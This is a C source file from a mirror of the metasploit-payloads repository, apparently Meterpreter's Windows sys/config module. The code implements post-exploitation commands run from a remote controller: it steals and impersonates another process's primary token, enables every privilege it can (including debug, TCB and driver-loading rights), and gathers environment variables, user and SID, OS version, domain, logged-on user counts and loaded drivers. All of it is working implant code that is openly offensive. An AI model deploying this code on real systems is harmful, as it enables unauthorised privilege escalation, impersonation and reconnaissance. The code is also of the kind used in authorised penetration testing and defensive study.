1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-24 10:09:49 +02:00
2020-06-25 10:30:49 +10:00

860 lines
23 KiB
C
Executable File

#include "precomp.h"
#include "common_metapi.h"
#include <sddl.h>
#include <lm.h>
#include <psapi.h>
typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW);
/*!
* @brief Add an environment variable / value pair to a response packet.
* @param response The \c Response packet to add the values to.
* @param envVar The name of the environment variable to add.
* @param envVal The value of the environment.
*/
VOID add_env_pair(Packet *response, char * envVar, char *envVal)
{
Tlv entries[2] = { 0 };
if (envVal)
{
entries[0].header.type = TLV_TYPE_ENV_VARIABLE;
entries[0].header.length = (DWORD)strlen(envVar) + 1;
entries[0].buffer = (PUCHAR)envVar;
entries[1].header.type = TLV_TYPE_ENV_VALUE;
entries[1].header.length = (DWORD)strlen(envVal) + 1;
entries[1].buffer = (PUCHAR)envVal;
met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
}
else
{
dprintf("[ENV] No value found for %s", envVar);
}
}
/*!
* @brief Expand a given set of environment variables.
* @param remote Pointer to the \c Remote instance making the request.
* @param packet Pointer to the \c Request packet.
* @remarks This will return a hash of the list of environment variables
* and their values, as requested by the caller.
* @returns Indication of success or failure.
*/
DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTlvIndex = 0;
Tlv envTlv;
char* pEnvVarStart;
char* pEnvVarEnd;
do
{
while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
{
pEnvVarStart = (char*)envTlv.buffer;
dprintf("[ENV] Processing: %s", pEnvVarStart);
// skip any '%' or '$' if they were specified.
while (*pEnvVarStart != '\0' && (*pEnvVarStart == '$' || *pEnvVarStart == '%'))
{
++pEnvVarStart;
}
dprintf("[ENV] pEnvStart: %s", pEnvVarStart);
pEnvVarEnd = pEnvVarStart;
// if we're on windows, the caller might have passed in '%' at the end, so remove that
// if it's there.
while (*pEnvVarEnd != '\0')
{
if (*pEnvVarEnd == '%')
{
// terminate it here instead
*pEnvVarEnd = '\0';
break;
}
++pEnvVarEnd;
}
dprintf("[ENV] Final env var: %s", pEnvVarStart);
// grab the value of the variable and stick it in the response.
PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart);
//Ensure we always have > 0 bytes even if env var doesn't exist
DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1;
PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR));
GetEnvironmentVariableW(name, wvalue, envlen);
free(name);
char* value = met_api->string.wchar_to_utf8(wvalue);
free(wvalue);
add_env_pair(response, pEnvVarStart, value);
free(value);
dprintf("[ENV] Env var added");
}
} while (0);
dprintf("[ENV] Transmitting response.");
met_api->packet.transmit_response(dwResult, remote, response);
dprintf("[ENV] done.");
return dwResult;
}
/*
* @brief Get the token information for the current thread/process.
* @param pTokenUser Buffer to receive the token data.
* @param dwBufferSize Size of the buffer that will receive the token data.
* @returns Indication of success or failure.
*/
DWORD get_user_token(LPVOID pTokenUser, DWORD dwBufferSize)
{
DWORD dwResult = 0;
DWORD dwReturnedLength = 0;
HANDLE hToken;
do
{
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
{
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
BREAK_ON_ERROR("[TOKEN] Failed to get a valid token for thread/process.");
}
}
if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength))
{
BREAK_ON_ERROR("[TOKEN] Failed to get token information for thread/process.");
}
dwResult = ERROR_SUCCESS;
} while (0);
return dwResult;
}
/*
* @brief Get the SID of the current process/thread.
* @param pRemote Pointer to the \c Remote instance.
* @param pRequest Pointer to the \c Request packet.
* @returns Indication of success or failure.
*/
DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
{
DWORD dwResult;
BYTE tokenUserInfo[4096];
LPSTR pSid = NULL;
Packet *pResponse = met_api->packet.create_response(pRequest);
do
{
dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo));
if (dwResult != ERROR_SUCCESS)
{
break;
}
if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid))
{
BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string");
}
} while (0);
if (pSid != NULL)
{
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
LocalFree(pSid);
}
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
return dwResult;
}
/*
* @brief Get the UID of the current process/thread.
* @param pRequest Pointer to the \c Request packet.
* @returns Indication of success or failure.
* @remark This is a helper function that does the grunt work
* for getting the user details which is used in a few
* other locations.
*/
DWORD populate_uid(Packet* pResponse)
{
DWORD dwResult;
WCHAR cbUserOnly[512], cbDomainOnly[512];
CHAR cbUsername[1024];
BYTE tokenUserInfo[4096];
DWORD dwUserSize = sizeof(cbUserOnly), dwDomainSize = sizeof(cbDomainOnly);
DWORD dwSidType = 0;
memset(cbUsername, 0, sizeof(cbUsername));
memset(cbUserOnly, 0, sizeof(cbUserOnly));
memset(cbDomainOnly, 0, sizeof(cbDomainOnly));
do
{
if ((dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo))) != ERROR_SUCCESS)
{
dprintf("[POPUID] unable to get user token");
break;
}
if (!LookupAccountSidW(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType))
{
BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data");
}
char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly);
char *userName = met_api->string.wchar_to_utf8(cbUserOnly);
// Make full name in DOMAIN\USERNAME format
_snprintf(cbUsername, 512, "%s\\%s", domainName, userName);
free(domainName);
free(userName);
cbUsername[511] = '\0';
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);
dwResult = EXIT_SUCCESS;
} while (0);
return dwResult;
}
/*
* @brief Get the user name of the current process/thread.
* @param pRemote Pointer to the \c Remote instance.
* @param pRequest Pointer to the \c Request packet.
* @returns Indication of success or failure.
*/
DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
{
Packet *pResponse = met_api->packet.create_response(pPacket);
DWORD dwResult = ERROR_SUCCESS;
dwResult = populate_uid(pResponse);
// Transmit the response
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
return dwResult;
}
/*
* @brief Drops an existing thread token.
* @param pRemote Pointer to the \c Remote instance.
* @param pRequest Pointer to the \c Request packet.
* @returns Indication of success or failure.
*/
DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
{
Packet* pResponse = met_api->packet.create_response(pPacket);
DWORD dwResult = ERROR_SUCCESS;
met_api->thread.update_token(pRemote, NULL);
dwResult = populate_uid(pResponse);
// Transmit the response
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
return dwResult;
}
/*
* sys_getprivs
* ----------
*
* Obtains as many privileges as possible
* Based on the example at http://nibuthomas.com/tag/openprocesstoken/
*/
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
DWORD res = ERROR_SUCCESS;
HANDLE token = NULL;
int x;
TOKEN_PRIVILEGES priv = { 0 };
LPCTSTR privs[] = {
SE_ASSIGNPRIMARYTOKEN_NAME,
SE_AUDIT_NAME,
SE_BACKUP_NAME,
SE_CHANGE_NOTIFY_NAME,
SE_CREATE_GLOBAL_NAME,
SE_CREATE_PAGEFILE_NAME,
SE_CREATE_PERMANENT_NAME,
SE_CREATE_SYMBOLIC_LINK_NAME,
SE_CREATE_TOKEN_NAME,
SE_DEBUG_NAME,
SE_ENABLE_DELEGATION_NAME,
SE_IMPERSONATE_NAME,
SE_INC_BASE_PRIORITY_NAME,
SE_INCREASE_QUOTA_NAME,
SE_INC_WORKING_SET_NAME,
SE_LOAD_DRIVER_NAME,
SE_LOCK_MEMORY_NAME,
SE_MACHINE_ACCOUNT_NAME,
SE_MANAGE_VOLUME_NAME,
SE_PROF_SINGLE_PROCESS_NAME,
SE_RELABEL_NAME,
SE_REMOTE_SHUTDOWN_NAME,
SE_RESTORE_NAME,
SE_SECURITY_NAME,
SE_SHUTDOWN_NAME,
SE_SYNC_AGENT_NAME,
SE_SYSTEM_ENVIRONMENT_NAME,
SE_SYSTEM_PROFILE_NAME,
SE_SYSTEMTIME_NAME,
SE_TAKE_OWNERSHIP_NAME,
SE_TCB_NAME,
SE_TIME_ZONE_NAME,
SE_TRUSTED_CREDMAN_ACCESS_NAME,
SE_UNDOCK_NAME,
SE_UNSOLICITED_INPUT_NAME,
NULL
};
do
{
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
{
res = GetLastError();
dprintf("[GETPRIVS] Failed to open the process token: %u 0x%x", res, res);
break;
}
for (x = 0; privs[x]; ++x)
{
memset(&priv, 0, sizeof(priv));
LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid);
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0))
{
if (GetLastError() == ERROR_SUCCESS)
{
dprintf("[GETPRIVS] Got Priv %s", privs[x]);
met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
}
}
else
{
dprintf("[GETPRIVS] Failed to set privilege %s (%u)", privs[x], GetLastError());
}
}
} while (0);
if (token)
{
CloseHandle(token);
}
// Transmit the response
met_api->packet.transmit_response(res, remote, response);
return res;
}
/*
* sys_steal_token
* ----------
*
* Steals the primary token from an existing process
*/
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
HANDLE hToken = NULL;
HANDLE hProcessHandle = NULL;
HANDLE hDupToken = NULL;
DWORD dwPid;
do
{
// Get the process identifier that we're attaching to, if any.
dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID);
if (!dwPid)
{
dprintf("[STEAL-TOKEN] invalid pid");
dwResult = -1;
break;
}
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProcessHandle)
{
dwResult = GetLastError();
dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult);
break;
}
if (!OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken))
{
dwResult = GetLastError();
dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult);
break;
}
if (!ImpersonateLoggedOnUser(hToken))
{
dwResult = GetLastError();
dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult);
break;
}
if (!DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityIdentification, TokenPrimary, &hDupToken))
{
dwResult = GetLastError();
dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult);
break;
}
dprintf("[STEAL-TOKEN] so far so good, updating thread token");
met_api->thread.update_token(remote, hDupToken);
dprintf("[STEAL-TOKEN] populating UID");
dwResult = populate_uid(response);
} while (0);
if (hProcessHandle)
{
CloseHandle(hProcessHandle);
}
if (hToken)
{
CloseHandle(hToken);
}
// Transmit the response
met_api->packet.transmit_response(dwResult, remote, response);
return dwResult;
}
DWORD add_windows_os_version(Packet** packet)
{
DWORD dwResult = ERROR_SUCCESS;
CHAR buffer[512] = { 0 };
do
{
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (hNtdll == NULL)
{
BREAK_ON_ERROR("[SYSINFO] Failed to load ntoskrnl");
}
PRtlGetVersion pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
if (pRtlGetVersion == NULL)
{
BREAK_ON_ERROR("[SYSINFO] Couldn't find RtlGetVersion in ntoskrnl");
}
OSVERSIONINFOEXW v = { 0 };
v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
if (0 != pRtlGetVersion(&v))
{
dwResult = ERROR_INVALID_DLL;
dprintf("[SYSINFO] Unable to get OS version with RtlGetVersion");
break;
}
dprintf("[VERSION] Major : %u", v.dwMajorVersion);
dprintf("[VERSION] Minor : %u", v.dwMinorVersion);
dprintf("[VERSION] Build : %u", v.dwBuildNumber);
dprintf("[VERSION] Maint : %S", v.szCSDVersion);
dprintf("[VERSION] Platform: %u", v.dwPlatformId);
dprintf("[VERSION] Type : %hu", v.wProductType);
dprintf("[VERSION] SP Major: %hu", v.wServicePackMajor);
dprintf("[VERSION] SP Minor: %hu", v.wServicePackMinor);
dprintf("[VERSION] Suite : %hu", v.wSuiteMask);
CHAR* osName = NULL;
if (v.dwMajorVersion == 3)
{
osName = "Windows NT 3.51";
}
else if (v.dwMajorVersion == 4)
{
if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{
osName = "Windows 95";
}
else if (v.dwMinorVersion == 10)
{
osName = "Windows 98";
}
else if (v.dwMinorVersion == 90)
{
osName = "Windows ME";
}
else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
osName = "Windows NT 4.0";
}
}
else if (v.dwMajorVersion == 5)
{
if (v.dwMinorVersion == 0)
{
osName = "Windows 2000";
}
else if (v.dwMinorVersion == 1)
{
osName = "Windows XP";
}
else if (v.dwMinorVersion == 2)
{
osName = "Windows .NET Server";
}
}
else if (v.dwMajorVersion == 6)
{
if (v.dwMinorVersion == 0)
{
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows Vista" : "Windows 2008";
}
else if (v.dwMinorVersion == 1)
{
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 7" : "Windows 2008 R2";
}
else if (v.dwMinorVersion == 2)
{
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8" : "Windows 2012";
}
else if (v.dwMinorVersion == 3)
{
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8.1" : "Windows 2012 R2";
}
}
else if (v.dwMajorVersion == 10)
{
if (v.dwMinorVersion == 0)
{
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 10" : "Windows 2016+";
}
}
if (!osName)
{
osName = "Unknown";
}
if (wcslen(v.szCSDVersion) > 0)
{
_snprintf(buffer, sizeof(buffer)-1, "%s (%u.%u Build %u, %S).", osName, v.dwMajorVersion, v.dwMinorVersion, v.dwBuildNumber, v.szCSDVersion);
}
else
{
_snprintf(buffer, sizeof(buffer)-1, "%s (%u.%u Build %u).", osName, v.dwMajorVersion, v.dwMinorVersion, v.dwBuildNumber);
}
dprintf("[VERSION] Version set to: %s", buffer);
met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
} while (0);
return dwResult;
}
/*
* @brief Handle the request to get local date/time information.
* @param remote Pointer to the remote instance.
* @param packet Pointer to the request packet.
* @return Indication of success or failure.
*/
DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
{
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
char dateTime[128] = { 0 };
TIME_ZONE_INFORMATION tzi = { 0 };
SYSTEMTIME localTime = { 0 };
DWORD tziResult = GetTimeZoneInformation(&tzi);
GetLocalTime(&localTime);
_snprintf_s(dateTime, sizeof(dateTime), sizeof(dateTime) - 1, "%d-%02d-%02d %02d:%02d:%02d.%d %S (UTC%s%d)",
localTime.wYear, localTime.wMonth, localTime.wDay,
localTime.wHour, localTime.wMinute, localTime.wSecond, localTime.wMilliseconds,
tziResult == TIME_ZONE_ID_DAYLIGHT ? tzi.DaylightName : tzi.StandardName,
tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100));
dprintf("[SYSINFO] Local Date/Time: %s", dateTime);
met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);
// Transmit the response
met_api->packet.transmit_response(result, remote, response);
return result;
}
/*
* sys_sysinfo
* ----------
*
* Get system information such as computer name and OS version
*/
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
CHAR computer[512], buf[512], * osArch = NULL;
DWORD res = ERROR_SUCCESS;
DWORD size = sizeof(computer);
HMODULE hKernel32;
memset(computer, 0, sizeof(computer));
memset(buf, 0, sizeof(buf));
do
{
// Get the computer name
if (!GetComputerName(computer, &size))
{
res = GetLastError();
break;
}
met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
add_windows_os_version(&response);
// sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it.
hKernel32 = LoadLibraryA("kernel32.dll");
if (hKernel32)
{
typedef void (WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO lpSystemInfo);
typedef BOOL(WINAPI * ISWOW64PROCESS)(HANDLE, PBOOL);
GETNATIVESYSTEMINFO pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress(hKernel32, "GetNativeSystemInfo");
ISWOW64PROCESS pIsWow64Process = (ISWOW64PROCESS)GetProcAddress(hKernel32, "IsWow64Process");
if (pGetNativeSystemInfo)
{
SYSTEM_INFO SystemInfo;
pGetNativeSystemInfo(&SystemInfo);
switch (SystemInfo.wProcessorArchitecture)
{
case PROCESSOR_ARCHITECTURE_AMD64:
osArch = "x64";
break;
case PROCESSOR_ARCHITECTURE_IA64:
osArch = "IA64";
break;
case PROCESSOR_ARCHITECTURE_INTEL:
osArch = "x86";
break;
default:
break;
}
}
}
// if we havnt set the arch it is probably because we are on NT/2000 which is x86
if (!osArch)
{
osArch = "x86";
}
dprintf("[SYSINFO] Arch set to: %s", osArch);
met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);
if (hKernel32)
{
char * ctryname = NULL, *langname = NULL;
typedef LANGID(WINAPI * GETSYSTEMDEFAULTLANGID)(VOID);
GETSYSTEMDEFAULTLANGID pGetSystemDefaultLangID = (GETSYSTEMDEFAULTLANGID)GetProcAddress(hKernel32, "GetSystemDefaultLangID");
if (pGetSystemDefaultLangID)
{
LANGID langId = pGetSystemDefaultLangID();
int len = GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, 0, 0);
if (len > 0)
{
ctryname = (char *)malloc(len);
GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, ctryname, len);
}
len = GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, 0, 0);
if (len > 0)
{
langname = (char *)malloc(len);
GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, langname, len);
}
}
if (!ctryname || !langname)
{
_snprintf(buf, sizeof(buf)-1, "Unknown");
}
else
{
_snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname);
}
met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);
if (ctryname)
{
free(ctryname);
}
if (langname)
{
free(langname);
}
}
LPWKSTA_INFO_102 localSysinfo = NULL;
if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success)
{
char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup);
met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
free(domainName);
}
else
{
dprintf("[CONFIG] Failed to get local system info for logged on user count / domain");
}
} while (0);
// Transmit the response
met_api->packet.transmit_response(res, remote, response);
return res;
}
/*
* sys_config_rev2self
*
* Calls RevertToSelf()
*/
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
do
{
response = met_api->packet.create_response(packet);
if (!response)
{
dwResult = ERROR_INVALID_HANDLE;
break;
}
met_api->thread.update_token(remote, NULL);
met_api->desktop.update(remote, -1, NULL, NULL);
if (!RevertToSelf())
dwResult = GetLastError();
} while(0);
if (response)
met_api->packet.transmit_response(dwResult, remote, response);
return dwResult;
}
/*!
* @brief Handle the driver list function call.
*/
DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
{
Packet* response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
LPVOID ignored = NULL;
DWORD sizeNeeded = 0;
// start by getting the size required to store the driver list
EnumDeviceDrivers(&ignored, sizeof(ignored), &sizeNeeded);
if (sizeNeeded > 0)
{
dprintf("[CONFIG] Size required for driver list: %u 0x%x", sizeNeeded, sizeNeeded);
LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);
if (driverList)
{
if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))
{
wchar_t baseName[MAX_PATH];
wchar_t fileName[MAX_PATH];
DWORD driverCount = sizeNeeded / sizeof(LPVOID);
dprintf("[CONFIG] Total driver handles: %u", driverCount);
for (DWORD i = 0; i < driverCount; ++i)
{
BOOL valid = TRUE;
if (!GetDeviceDriverBaseNameW(driverList[i], baseName, MAX_PATH))
{
dprintf("[CONFIG] %d Driver base name read failed: %u 0x%x", i, GetLastError(), GetLastError());
// null terminate the string at the start, indicating that it's invalid
baseName[0] = L'\x00';
}
else
{
dprintf("[CONFIG] %d Driver basename: %S", i, baseName);
}
if (!GetDeviceDriverFileNameW(driverList[i], fileName, MAX_PATH))
{
dprintf("[CONFIG] %d Driver file name read failed: %u 0x%x", i, GetLastError(), GetLastError());
// null terminate the string at the start, indicating that it's invalid
fileName[0] = L'\x00';
// we'll mark the entry as invalid if both calls failed.
valid = baseName[0] != L'\x00';
}
else
{
dprintf("[CONFIG] %d Driver filename: %S", i, fileName);
}
if (valid)
{
Packet* entry = met_api->packet.create_group();
char* bn = met_api->string.wchar_to_utf8(baseName);
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
free(bn);
char* fn = met_api->string.wchar_to_utf8(fileName);
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
free(fn);
met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
}
}
}
free(driverList);
}
else
{
result = ERROR_OUTOFMEMORY;
}
}
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}